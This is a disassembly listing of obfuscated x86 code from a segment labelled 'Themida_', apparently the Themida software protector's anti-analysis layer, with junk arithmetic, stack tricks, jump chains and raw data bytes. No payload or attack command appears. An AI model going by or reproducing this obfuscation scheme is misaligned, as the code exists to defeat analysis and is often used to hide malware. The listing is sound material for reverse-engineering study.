loc_599C7F:				; CODE XREF: Themida_:0059A243j
		pop	ebp
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 59956E54h
		push	esi
		jmp	loc_5984CE
; ---------------------------------------------------------------------------


loc_599C97:				; CODE XREF: Themida_:005A5C88j
		push	edi
		mov	edi, 9F63B7C2h
		push	edx
		mov	edx, 11256995h
		sub	ebx, edx
		pop	edx
		sub	ebx, 6C8F6F5Ch
		add	ebx, edi
		add	ebx, 6C8F6F5Ch
		add	ebx, 11256995h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5A733F
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0C4832434h, 4C48104h, 68000000h, 7E3Ah, 68241489h
		dd 7E5Ch, 0BF243C89h, 2C8B1A13h, 0C27EE9h
		db 0
; ---------------------------------------------------------------------------


loc_599CF1:				; CODE XREF: Themida_:005A1E30j
		pop	edi
		and	edx, 120942FFh
		jmp	loc_5AB79B
; ---------------------------------------------------------------------------
		db 53h,	52h, 0B6h
		dd 60F68057h, 49FD890Fh, 0CE800001h, 0CCC6E97Eh, 66BE0000h
		dd 5346E038h, 41206405h, 61830F71h, 500011Ch, 0E8BB92D8h
		dd 133D0E9h
		db 0
; ---------------------------------------------------------------------------


loc_599D2D:				; CODE XREF: Themida_:005AE7A5j
		pop	esi
		and	edx, edi
		pop	edi
		xchg	esi, edx
		not	esi
		push	edx
		jmp	loc_5A27CF
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4EE9242Ch, 0E900010Ch, 0FFFFE644h, 5324348Bh, 87E3E9h
		db 0
; ---------------------------------------------------------------------------


loc_599D51:				; CODE XREF: Themida_:005A3D7Dj
		xor	ebp, [esp]
		jmp	loc_5A835A
; ---------------------------------------------------------------------------


loc_599D59:				; CODE XREF: Themida_:005A3953j
		push	edx
		mov	edx, 4EE319EAh
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 543559AEh
		dec	ebp
		not	ebp
		jmp	loc_59F768
; ---------------------------------------------------------------------------


loc_599D72:				; CODE XREF: Themida_:005ACA34j
		sub	eax, 5D012487h
		not	eax
		jmp	loc_59A2E2
; ---------------------------------------------------------------------------
		dw 8359h
		dd 0EC8104C4h, 4, 81243C89h, 4ECh, 48F5400h, 24048124h
		dd 4, 0DAE9505Fh
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------


loc_599DA3:				; CODE XREF: Themida_:005AADB6j
		mov	eax, 66C560BBh
		or	eax, 21F11384h
		dec	eax
		xor	eax, 58252B0Fh
		xor	eax, 36792564h
		push	edx
		mov	edx, 63D365Ah
		jmp	loc_59CE6E
; ---------------------------------------------------------------------------
aZiSu		db 'Zˆέιγ=',0
		db 0
; ---------------------------------------------------------------------------


loc_599DCB:				; CODE XREF: Themida_:005A4310j
		pop	cx
		jmp	loc_59D39F
; ---------------------------------------------------------------------------


loc_599DD2:				; CODE XREF: Themida_:005994FAj
		mov	eax, [esp]
		add	esp, 4
		push	small 0
		sub	[esp], dh
		mov	dh, [esp]
		add	esp, 2
		shr	dh, 4
		jmp	loc_59CB53
; ---------------------------------------------------------------------------


loc_599DF0:				; CODE XREF: Themida_:005A1F50j
					; Themida_:005AA5A9j
		pop	eax
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		push	23D8h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		push	edx
		mov	edx, 418338A8h
		inc	edx
		and	edx, 62106B7Ah
		neg	edx
		sub	edx, 0BFFFD7D6h
		add	ebx, edx
		pop	edx
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_5ABE06
; ---------------------------------------------------------------------------


loc_599E3F:				; CODE XREF: Themida_:005A345Bj
		push	57CEh
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], edi
		push	1D513106h
		pop	edi
		and	edi, 36554B56h
		jmp	loc_5AB91F
; ---------------------------------------------------------------------------


loc_599E61:				; CODE XREF: Themida_:005A4A07j
		jns	loc_5A43B7
		sub	edx, 46DC0FA9h
		sub	edx, 0B1B53980h
		mov	esi, ecx
		pop	ebp
		pop	ebx
		add	ecx, 26930F16h
		add	ecx, 195C0535h
		xor	ebx, ecx
		pop	ecx
		push	ecx
		push	36C8476Ch
		pop	ecx
		jmp	loc_598994
; ---------------------------------------------------------------------------


loc_599E92:				; CODE XREF: Themida_:005A905Aj
		mov	ebx, eax
		jmp	loc_598E1A
; ---------------------------------------------------------------------------


loc_599E99:				; CODE XREF: Themida_:005A51ADj
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5A818D
; ---------------------------------------------------------------------------


loc_599EA3:				; CODE XREF: Themida_:005AEAC5j
		mov	ebp, edx
		pop	edx
		jmp	loc_5AC2B5
; ---------------------------------------------------------------------------


loc_599EAB:				; CODE XREF: Themida_:00598863j
		push	1133h
		mov	[esp], eax
		push	ebp
		mov	ebp, 544D12ECh
		jmp	loc_59DAF5
; ---------------------------------------------------------------------------


loc_599EBE:				; CODE XREF: Themida_:005AF410j
		mov	ebx, 1
		and	ecx, ebx
		mov	ebx, [esp]
		push	esi
		jmp	loc_5A0EF2
; ---------------------------------------------------------------------------
aZs		db ')ΠZι:Δ',0
		align 2


loc_599ED6:				; CODE XREF: Themida_:0059F792j
		jmp	loc_59FAEF
; ---------------------------------------------------------------------------
		db 81h
		dd 791B02F7h, 5FFD29D7h, 1C6F095Fh, 81242C8Bh, 4C4h, 0E496E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_599EF6:				; CODE XREF: Themida_:00599C6Fj
		add	esi, 210C7189h
		jmp	loc_5AF058
; ---------------------------------------------------------------------------
		db 89h,	0E3h, 81h
		dd 4C3h, 364D6800h, 4890000h, 0EF7AE924h, 0FE51FFFFh, 5901244Ch
		dd 8005E5C0h, 0E8000EC5h, 1E37E9h, 4B800h, 0A8680000h
		dd 0E900007Ch, 0C6D3h, 33240431h, 0E95C2404h, 1114Eh
; ---------------------------------------------------------------------------


loc_599F44:				; CODE XREF: Themida_:005A694Dj
		pop	ebx
		add	al, 92h
		sub	al, 94h
		push	ecx
		mov	cl, 0FDh
		neg	cl
		neg	cl
		jmp	loc_5A4973
; ---------------------------------------------------------------------------


loc_599F55:				; CODE XREF: Themida_:005AA3BCj
		add	edx, 320B1570h
		sub	edx, 68B0464Ch
		sub	edx, 32B101F7h
		jmp	loc_5AC665
; ---------------------------------------------------------------------------
		dd 0E9D1F749h, 0EE1Eh
; ---------------------------------------------------------------------------


loc_599F74:				; CODE XREF: Themida_:005A800Cj
		push	edx
		jmp	loc_5AA310
; ---------------------------------------------------------------------------


loc_599F7A:				; CODE XREF: Themida_:005A28FBj
		or	ebp, ecx
		pop	ecx
		add	ebp, 46C750E7h
		xor	ebp, 39F00D53h
		sub	ebp, 9A79E5B3h
		add	eax, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], ecx
		push	esi
		jmp	loc_5AAA8C
; ---------------------------------------------------------------------------


loc_599F9E:				; CODE XREF: Themida_:005A51C5j
		pop	eax
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	ecx, 69A00AF5h
		sub	ecx, ebx
		sub	ecx, 69A00AF5h
		pop	ebx
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	ecx
		push	1E58h
		mov	[esp], edx
		jmp	loc_5A75C1
; ---------------------------------------------------------------------------
		dd 2C815D5Fh, 0E0DD224h, 7EA2685Bh, 2C890000h, 0B4E95724h
		db 0D0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_599FEB:				; CODE XREF: Themida_:005A681Dj
		add	esp, 4
		jmp	loc_5A2CE3
; ---------------------------------------------------------------------------


loc_599FF3:				; CODE XREF: Themida_:005A3FF6j
		add	edx, 7AB14EA7h
		mov	ebx, edx
		pop	edx
		jmp	loc_5ACBB8
; ---------------------------------------------------------------------------


loc_59A001:				; CODE XREF: Themida_:0059D0ADj
		add	cl, 2Dh
		mov	dh, cl
		pop	ecx
		add	dh, 5
		jmp	loc_5A8472
; ---------------------------------------------------------------------------


loc_59A00F:				; CODE XREF: Themida_:loc_5AD4ADj
		push	ebp
		mov	ebp, 0ED060D3h
		neg	ebp
		and	ebp, 50A13385h
		not	ebp
		xor	ebp, 0DA008D7Ah
		or	eax, ebp
		jmp	loc_5A1406
; ---------------------------------------------------------------------------


loc_59A02C:				; CODE XREF: Themida_:005A354Dj
		push	dword ptr [esp+4]
		jmp	loc_59BBBD
; ---------------------------------------------------------------------------


loc_59A035:				; CODE XREF: Themida_:005A925Bj
		jmp	loc_59F136
; ---------------------------------------------------------------------------


loc_59A03A:				; CODE XREF: Themida_:0059FC37j
					; Themida_:005A664Dj
		sub	ebp, ecx
		pop	ecx
		sub	ebp, 28B52F40h
		add	edx, 7C6612CAh
		jmp	loc_59B6F5
; ---------------------------------------------------------------------------


loc_59A04E:				; CODE XREF: Themida_:005A369Ej
					; Themida_:005AF180j
		push	ecx
		jmp	loc_5A0DAC
; ---------------------------------------------------------------------------


loc_59A054:				; CODE XREF: Themida_:005AA21Cj
		pop	edx
		push	ebp
		jmp	loc_5A1E9E
; ---------------------------------------------------------------------------


loc_59A05B:				; CODE XREF: Themida_:0059F2D4j
		xor	ebx, 0B7262831h
		jmp	loc_5A1E97
; ---------------------------------------------------------------------------


loc_59A066:				; CODE XREF: Themida_:0059A2C8j
		mov	eax, esp
		jmp	loc_59C28F
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
aXhi2		db 'Xh¨2',0
		align 2
		dw 3C89h
		dd 3BB1E924h
		db 1, 0
; ---------------------------------------------------------------------------


loc_59A07E:				; CODE XREF: Themida_:0059AD27j
		xor	ebx, ebp
		pop	ebp
		add	ebx, 3F3239B9h
		shl	ebx, 3
		or	ebx, 6B1616F7h
		jmp	loc_5997C0
; ---------------------------------------------------------------------------


loc_59A095:				; CODE XREF: Themida_:loc_5A99A3j
					; Themida_:005AAA9Aj
		xchg	esi, [esp]
		pop	esp
		jmp	loc_59F8F9
; ---------------------------------------------------------------------------
		dw 742Dh
		dd 0E95DB97Bh, 132C4h
; ---------------------------------------------------------------------------


loc_59A0A8:				; CODE XREF: Themida_:005A341Dj
		and	edi, 2DCC7124h
		add	edi, 0DBF7DFE0h
		add	eax, edi
		pop	edi
		xchg	eax, [esp]
		jmp	loc_59F9C7
; ---------------------------------------------------------------------------


loc_59A0BF:				; CODE XREF: Themida_:005A624Bj
		add	ecx, 54752313h
		not	ecx
		add	ecx, 555D239Bh
		jmp	loc_59F901
; ---------------------------------------------------------------------------


loc_59A0D2:				; CODE XREF: Themida_:005A0805j
		mov	[esp], ebp
		jmp	loc_5A788B
; ---------------------------------------------------------------------------
		dw 5954h
		dd 4C181h, 0C1810000h, 4, 5C240C87h, 4C781h, 25680000h
		dd 89000060h, 0BB53240Ch, 2, 1C8BD989h,	4C48124h, 81000000h
		dd 0DC4894EFh, 79FFE92Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59A116:				; CODE XREF: Themida_:005A1D59j
		sub	ch, dl
		pop	edx
		mov	ebx, [esp]
		add	esp, 4
		add	al, 68h
		add	al, ch
		sub	al, 68h
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ecx
		mov	ch, 5Bh
		and	ch, 61h
		jmp	loc_5A938C
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 488AE900h
		db 1, 0
; ---------------------------------------------------------------------------


loc_59A142:				; CODE XREF: Themida_:005AAE95j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_59B64D
; ---------------------------------------------------------------------------
		db 66h
		dd 5324048Bh, 0ED59E9h,	0C7815F00h, 82EB96BFh, 815FF901h
		dd 4C1h, 50E95100h
		db 16h,	1, 0
; ---------------------------------------------------------------------------


loc_59A16B:				; CODE XREF: Themida_:005ABA7Dj
		add	edi, ecx
		sub	edi, 0D5F2FE7h
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ebp
		mov	ebp, 2
		add	edi, 475F2D6Fh
		add	edi, ebp
		sub	edi, 475F2D6Fh
		pop	ebp
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_59DB4C
; ---------------------------------------------------------------------------


loc_59A1A0:				; CODE XREF: Themida_:005AF2EEj
		or	ebp, 5A602026h
		xor	ebp, 3E985C31h
		xor	ebp, 4B9A81D1h
		jmp	loc_5A1790
; ---------------------------------------------------------------------------
		db 66h
		dd 6602B60Fh, 6673B068h, 0E9240489h, 4CE8h
; ---------------------------------------------------------------------------


loc_59A1C8:				; CODE XREF: Themida_:005A5A5Cj
		pop	edi
		push	2D8Bh
		mov	[esp], ebp
		jmp	loc_5A3B2D
; ---------------------------------------------------------------------------


loc_59A1D6:				; CODE XREF: Themida_:0059CBD5j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5A1B45
; ---------------------------------------------------------------------------
		dw 0C601h
		dd 0E38EE81h, 575836BAh, 400C84BFh, 0C84BB6Ch, 0B9516C40h
		dd 6B806352h, 0A964E9h,	0FDAF700h, 0FFEF058Ch, 4F281FFh
		dd 0F1DAC45h, 71BD8Ch, 0F3A3E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59A21A:				; CODE XREF: Themida_:005A0B6Ej
		sub	ecx, 175FB614h
		add	esi, 28C0A9Dh
		sub	esi, 2EDA560Dh
		jmp	loc_5A99BC
; ---------------------------------------------------------------------------


loc_59A231:				; CODE XREF: Themida_:0059E843j
		xor	ebx, [esp]
		mov	esp, [esp]
		push	35CAh
		mov	[esp], ebp
		push	esp
		push	dword ptr [esp]
		jmp	loc_599C7F
; ---------------------------------------------------------------------------
		dd 66555666h, 812A7ABDh, 2ECh, 259CE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59A25A:				; CODE XREF: Themida_:005AF00Ej
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	edi, 5E0E1621h
		add	edi, 0CC58ECF3h
		and	edi, 724857A7h
		not	edi
		jmp	loc_5AC6A9
; ---------------------------------------------------------------------------
		db 0B8h, 6Ch, 3Dh
		dd 0B951101Ah, 9CAC40Fh, 6F20E9h
		db 0
; ---------------------------------------------------------------------------


loc_59A28D:				; CODE XREF: Themida_:005AC0C4j
		push	ebx
		mov	bh, 4Fh
		or	bh, 59h
		jmp	loc_59846E
; ---------------------------------------------------------------------------


loc_59A298:				; CODE XREF: Themida_:005A87C7j
					; Themida_:005AA315j
		not	edx
		xor	edx, 0EC38A22Ah
		sub	ebx, edx
		pop	edx
		push	dword ptr [ebx]
		sub	dword ptr [esp], 0F3A43E2h
		pop	ecx
		add	ecx, 0F3A43E2h
		pop	ebx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_59A066
; ---------------------------------------------------------------------------


loc_59A2CD:				; CODE XREF: Themida_:0059F2F4j
		add	bl, ch
		jmp	loc_598F68
; ---------------------------------------------------------------------------


loc_59A2D4:				; CODE XREF: Themida_:005A8C73j
		shr	edx, 1
		and	edx, 578803CFh
		xchg	eax, edx
		jmp	loc_5A41BD
; ---------------------------------------------------------------------------


loc_59A2E2:				; CODE XREF: Themida_:00599D79j
		push	esi
		mov	esi, 1D18D9h
		sub	eax, esi
		pop	esi
		add	edx, 0D6649ACh
		add	edx, eax
		push	ebp
		mov	ebp, 561Fh
		xor	ebp, 2CE2108Dh
		neg	ebp
		neg	ebp
		sub	ebp, 1F7BFCE6h
		sub	edx, ebp
		jmp	loc_598B3C
; ---------------------------------------------------------------------------


loc_59A310:				; CODE XREF: Themida_:005AE3FEj
		inc	edx
		jo	loc_5A8713
		xor	edx, 4902666Fh
		mov	esi, edx
		pop	edx
		xor	ebx, esi
		pop	esi
		push	ebx
		mov	ebx, 4B6E4852h
		add	ebp, ebx
		pop	ebx
		sub	ebp, ebx
		sub	ebp, 4B6E4852h
		pop	ebx
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	6233h
		jmp	loc_5AD910
; ---------------------------------------------------------------------------


loc_59A35C:				; CODE XREF: Themida_:00598FEDj
		jmp	loc_5A9EB6
; ---------------------------------------------------------------------------


loc_59A361:				; CODE XREF: Themida_:0059EA2Fj
					; Themida_:005AA882j
		push	328Ch
		jmp	loc_5AA946
; ---------------------------------------------------------------------------
		db 5Ah
		dd 295EF729h, 0FC5EE9F8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59A376:				; CODE XREF: Themida_:005A8188j
		mov	[esp], edx
		mov	edx, 6BE55E05h
		shl	edx, 3
		add	edx, 4254066Fh
		shl	edx, 8
		push	2D9Eh
		mov	[esp], ebp
		push	3756192Ch
		pop	ebp
		xor	ebp, 71751C14h
		and	ebp, 560253Eh
		add	ebp, 21233B03h
		jmp	loc_5AC1CD
; ---------------------------------------------------------------------------


loc_59A3AF:				; CODE XREF: Themida_:005A26B7j
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ebp
		push	10968D2h
		jmp	loc_5AF4D1
; ---------------------------------------------------------------------------


loc_59A3CB:				; CODE XREF: Themida_:0059BBBEj
		pop	dword ptr [esp]
		pop	esp
		mov	ax, [esp]
		push	3986h
		mov	[esp], edi
		push	esp
		jmp	loc_5AE179
; ---------------------------------------------------------------------------


loc_59A3E1:				; CODE XREF: Themida_:00599235j
		pop	edi
		inc	edi
		jmp	loc_5A5092
; ---------------------------------------------------------------------------
		dd 6A2468h, 240C8900h, 2BAE6856h, 815E4065h, 0DCB961EEh
		dd 0E9F18907h, 0D8E1h
; ---------------------------------------------------------------------------


loc_59A404:				; CODE XREF: Themida_:005ACA66j
		mov	esi, 31571AE2h
		push	4DB4h
		mov	[esp], edi
		mov	edi, 494674CCh
		sub	eax, edi
		pop	edi
		add	eax, esi
		jmp	loc_5A0DCE
; ---------------------------------------------------------------------------


loc_59A420:				; CODE XREF: Themida_:005A197Cj
		jmp	loc_5A2F71
; ---------------------------------------------------------------------------


loc_59A425:				; CODE XREF: Themida_:005AA20Fj
		sub	ebp, edi
		jmp	loc_5A2FD2
; ---------------------------------------------------------------------------


loc_59A42C:				; CODE XREF: Themida_:0059863Dj
		mov	esi, 6D763817h
		dec	esi
		jmp	loc_59BBB6
; ---------------------------------------------------------------------------


loc_59A437:				; CODE XREF: Themida_:0059BB0Bj
		pop	ebx
		push	eax
		jmp	loc_5A8C37
; ---------------------------------------------------------------------------
		dw 0F43h
		dd 64CE80h, 880F4300h, 1137Fh, 0D652F381h, 0DD899C84h
		dd 89241C8Bh
		db 0FDh
; ---------------------------------------------------------------------------


loc_59A459:				; CODE XREF: Themida_:005A1E1Aj
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		push	3E6h
		mov	[esp], edx
		push	edi
		push	ebp
		mov	ebp, 0F005C8Dh
		sub	ebp, 233C648Bh
		jg	loc_5AF14C
		jmp	loc_59C0BB
; ---------------------------------------------------------------------------


loc_59A485:				; CODE XREF: Themida_:005A5EF2j
		push	ebx
		push	ecx
		mov	ecx, 2E807594h
		xor	ecx, 76AC2F20h
		add	ecx, 0ACB909E7h
		mov	ebx, ecx
		pop	ecx
		sub	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		pop	edx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		inc	word ptr [esp]
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59A4B8:				; CODE XREF: Themida_:005A44CEj
		pop	esi
		jmp	loc_59E838
; ---------------------------------------------------------------------------


loc_59A4BE:				; CODE XREF: Themida_:0059FE76j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		push	7E53h
		mov	[esp], ecx
		mov	ecx, 667943AEh
		push	edi
		jmp	loc_5A67B0
; ---------------------------------------------------------------------------


loc_59A4DC:				; CODE XREF: Themida_:005AD6BEj
		push	esi
		mov	si, 265Ah
		not	si
		push	edi
		mov	di, 442Dh
		jmp	loc_59D6BB
; ---------------------------------------------------------------------------


loc_59A4EE:				; CODE XREF: Themida_:005A4A8Bj
		push	edx
		mov	edx, 4
		add	[esp+4], edx
		pop	edx
		jmp	loc_5A6584
; ---------------------------------------------------------------------------


loc_59A4FE:				; CODE XREF: Themida_:005A80BFj
		push	edi
		mov	edi, 69A67DC9h
		push	ecx
		mov	ecx, 1
		add	edi, ecx
		pop	ecx
		sub	edi, 41C67FC0h
		add	edi, 0DA2001F7h
		add	ebx, edi
		pop	edi
		sub	esp, 4
		mov	[esp], eax
		push	esi
		jmp	loc_59C3FA
; ---------------------------------------------------------------------------
		db 83h
		dd 0C6E904C4h
		db 0FCh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_59A533:				; CODE XREF: Themida_:005A6C91j
		xor	ebx, 286B7471h
		jmp	loc_59E850
; ---------------------------------------------------------------------------
		dw 565Ch
		dd 42474FFh, 24048F5Eh,	0EC81515Ch, 4, 0AF7FE9h
		db 0
; ---------------------------------------------------------------------------


loc_59A555:				; CODE XREF: Themida_:005A907Bj
		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]
		test	cx, ax
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59A567:				; CODE XREF: Themida_:005A15A7j
		sub	edx, ebp
		pop	ebp
		and	edx, 37F24FE4h
		shr	edx, 2
		xor	edx, 0AC1779F2h
		sub	edi, edx
		pop	edx
		jmp	loc_5AD578
; ---------------------------------------------------------------------------
aSsx		db 'Sιx[',0
		db 0
; ---------------------------------------------------------------------------


loc_59A587:				; CODE XREF: Themida_:005AC34Fj
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 258515DCh
		sub	edx, 715554CEh
		sub	eax, 39394CD4h
		jmp	loc_5A2FA2
; ---------------------------------------------------------------------------


loc_59A5AC:				; CODE XREF: Themida_:005AB88Bj
		pop	eax
		jmp	loc_5A080A
; ---------------------------------------------------------------------------


loc_59A5B2:				; CODE XREF: Themida_:005A64BBj
					; Themida_:005AC59Cj
		mov	al, dh
		pop	edx
		sub	ch, al
		mov	ax, [esp]
		add	esp, 2
		jmp	loc_5A77C3
; ---------------------------------------------------------------------------


loc_59A5C3:				; CODE XREF: Themida_:005A1785j
		add	edi, edx
		add	edi, 6E765D0Fh
		push	esi
		jmp	loc_59F3B5
; ---------------------------------------------------------------------------


loc_59A5D1:				; CODE XREF: Themida_:005A8E1Aj
		push	cx
		sub	esp, 4
		mov	[esp], edx
		mov	dl, 23h
		push	ebx
		mov	bh, 4Dh
		mov	cl, 0A3h
		jmp	loc_59CC34
; ---------------------------------------------------------------------------
		dd 13591E9h, 4BDBF700h,	79C38143h, 81212247h, 0C40E7DF3h
		dd 1A79E9D5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59A602:				; CODE XREF: Themida_:005A7B20j
		sub	esp, 4
		jmp	loc_5ACBD5
; ---------------------------------------------------------------------------


loc_59A60A:				; CODE XREF: Themida_:005A0EB3j
		pop	ebx
		push	edx
		mov	edx, 28A320BBh
		and	edx, 7067141Ah
		push	esi
		mov	esi, 63846C2Fh
		sub	edx, esi
		pop	esi
		jmp	loc_5A9B44
; ---------------------------------------------------------------------------


loc_59A625:				; CODE XREF: Themida_:005993A7j
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5A6623
; ---------------------------------------------------------------------------


loc_59A633:				; CODE XREF: Themida_:00599028j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	eax
		mov	eax, 7D785340h
		shl	eax, 5
		push	edx
		mov	edx, 50F59804h
		sub	eax, 1C0F4906h
		jmp	loc_5A3857
; ---------------------------------------------------------------------------


loc_59A65B:				; CODE XREF: Themida_:005A328Fj
		mov	edi, 1D68780Fh
		push	esi
		mov	esi, 32744725h
		jmp	loc_5A6120
; ---------------------------------------------------------------------------


loc_59A66B:				; CODE XREF: Themida_:005AD097j
		xor	ecx, 2DE2309Bh
		push	edi
		mov	edi, 792EA419h
		jmp	loc_5A6B85
; ---------------------------------------------------------------------------


loc_59A67C:				; CODE XREF: Themida_:005AF2B3j
		sub	ebx, edx
		sub	ebx, 7A60009Eh
		jmp	loc_598E85
; ---------------------------------------------------------------------------


loc_59A689:				; CODE XREF: Themida_:00598F19j
					; Themida_:0059D75Ej
		mov	ebp, 464D2FCBh
		jmp	loc_5A915E
; ---------------------------------------------------------------------------
		db 83h
		dd 0C18104C4h, 4, 2C181h, 2FE90000h, 8300010Ah,	0E381FFEBh
		dd 78003E9h, 0B9CE956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59A6B6:				; CODE XREF: Themida_:005A0EBEj
		add	edx, 749C4715h
		jl	loc_5ADA51
		jmp	loc_5A462F
; ---------------------------------------------------------------------------


loc_59A6C7:				; CODE XREF: Themida_:005A5631j
		and	eax, 0A63480Dh
		jnp	loc_5ABEFF
		shr	eax, 7
		jmp	loc_59CAD1
; ---------------------------------------------------------------------------
		dw 0C388h
; ---------------------------------------------------------------------------


loc_59A6DC:				; CODE XREF: Themida_:005AF38Dj
		push	edx
		mov	edx, 14115E05h
		inc	edx
		jp	loc_5A01C2
		jmp	loc_59BAD7
; ---------------------------------------------------------------------------
		dw 7FE9h
		dd 5D0000CFh, 0F02CEB01h
; ---------------------------------------------------------------------------


loc_59A6F8:				; CODE XREF: Themida_:005A0DA7j
		xor	ebp, 226E73DCh
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_59A921
; ---------------------------------------------------------------------------
		db 59h,	8Fh, 4
		dd 7F68E924h, 1C890000h, 15B5924h, 2434FFC8h, 475E6859h
		dd 0C890000h, 81E18924h, 4C1h, 4C18300h, 31240C33h, 0C33240Ch
		dd 0DB35E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59A73E:				; CODE XREF: Themida_:005A9C74j
		pop	edx
		jmp	loc_5A126E
; ---------------------------------------------------------------------------


loc_59A744:				; CODE XREF: Themida_:005A94A9j
		sub	esp, 4
		jmp	loc_59B3CF
; ---------------------------------------------------------------------------


loc_59A74F:				; CODE XREF: Themida_:005A3C14j
		pop	ebp
		jmp	loc_5A10BB
; ---------------------------------------------------------------------------


loc_59A755:				; CODE XREF: Themida_:005A0251j
		pop	ebx
		shl	eax, 2
		jmp	loc_5A2129
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 11FB00CFh, 2A97C581h, 0FD013177h, 2A97ED81h,	23E93177h
		db 84h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59A777:				; CODE XREF: Themida_:005985B5j
		xchg	esi, [esp]
		mov	esp, [esp]
		add	ecx, edi
		push	5B4Ah
		mov	[esp], edi
		mov	edi, 7FFB0609h
		add	ecx, edi
		pop	edi
		jmp	loc_5A13BF
; ---------------------------------------------------------------------------


loc_59A794:				; CODE XREF: Themida_:005AD002j
		pop	edx
		jmp	loc_5A184E
; ---------------------------------------------------------------------------


loc_59A79A:				; CODE XREF: Themida_:005A1DFCj
		mov	ecx, 96B4B3D3h
		add	ecx, 6AE479F1h
		push	edx
		jmp	loc_5ACCF0
; ---------------------------------------------------------------------------


loc_59A7AB:				; CODE XREF: Themida_:00598B61j
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, 3A4F1A7Dh
		jmp	loc_5ADBDD
; ---------------------------------------------------------------------------


loc_59A7BF:				; CODE XREF: Themida_:005A2823j
		add	edx, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		jmp	loc_5A6137
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 75h
		dd 0F7000012h, 79BB53D1h, 29554666h, 0C1815BD9h, 0B1D8A043h
		dd 2E6FB951h, 0CB295D74h, 81CB0159h, 742E6FC3h,	2434FF5Dh
		dd 4C48359h, 201FB850h,	35407A9Eh, 599B51BEh, 8B2A120Dh
		dd 78B95165h, 3140C46Fh, 930E9C8h
		db 1, 0
; ---------------------------------------------------------------------------


loc_59A822:				; CODE XREF: Themida_:005A503Cj
		pop	edx
		push	1414h
		mov	[esp], edi
		mov	edi, 0BD965AEh
		add	eax, edi
		jmp	loc_5A5839
; ---------------------------------------------------------------------------


loc_59A837:				; CODE XREF: Themida_:005ACB7Fj
		mov	edx, 2
		mov	ebp, edx
		jmp	loc_5A25D5
; ---------------------------------------------------------------------------


loc_59A843:				; CODE XREF: Themida_:005A6042j
		xor	dh, 40h
		push	eax
		mov	al, dh
		mov	bh, al
		jmp	loc_59D4FE
; ---------------------------------------------------------------------------


loc_59A850:				; CODE XREF: Themida_:005A3329j
		sub	esi, 7E6D1C11h
		pop	ebp
		pop	ecx
		sub	eax, esi
		pop	esi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5A6A3E
; ---------------------------------------------------------------------------


loc_59A872:				; CODE XREF: Themida_:005AB57Aj
		xor	ecx, 59921C6Ch
		sub	ecx, 707F2655h
		neg	ecx
		add	ecx, 0C11DE51Bh
		add	ebp, ecx
		jmp	loc_5AC2AF
; ---------------------------------------------------------------------------


loc_59A88D:				; CODE XREF: Themida_:005AC456j
		jmp	loc_59838C
; ---------------------------------------------------------------------------
		dw 0D7F7h
		dd 3C4CE9h
		db 0
; ---------------------------------------------------------------------------


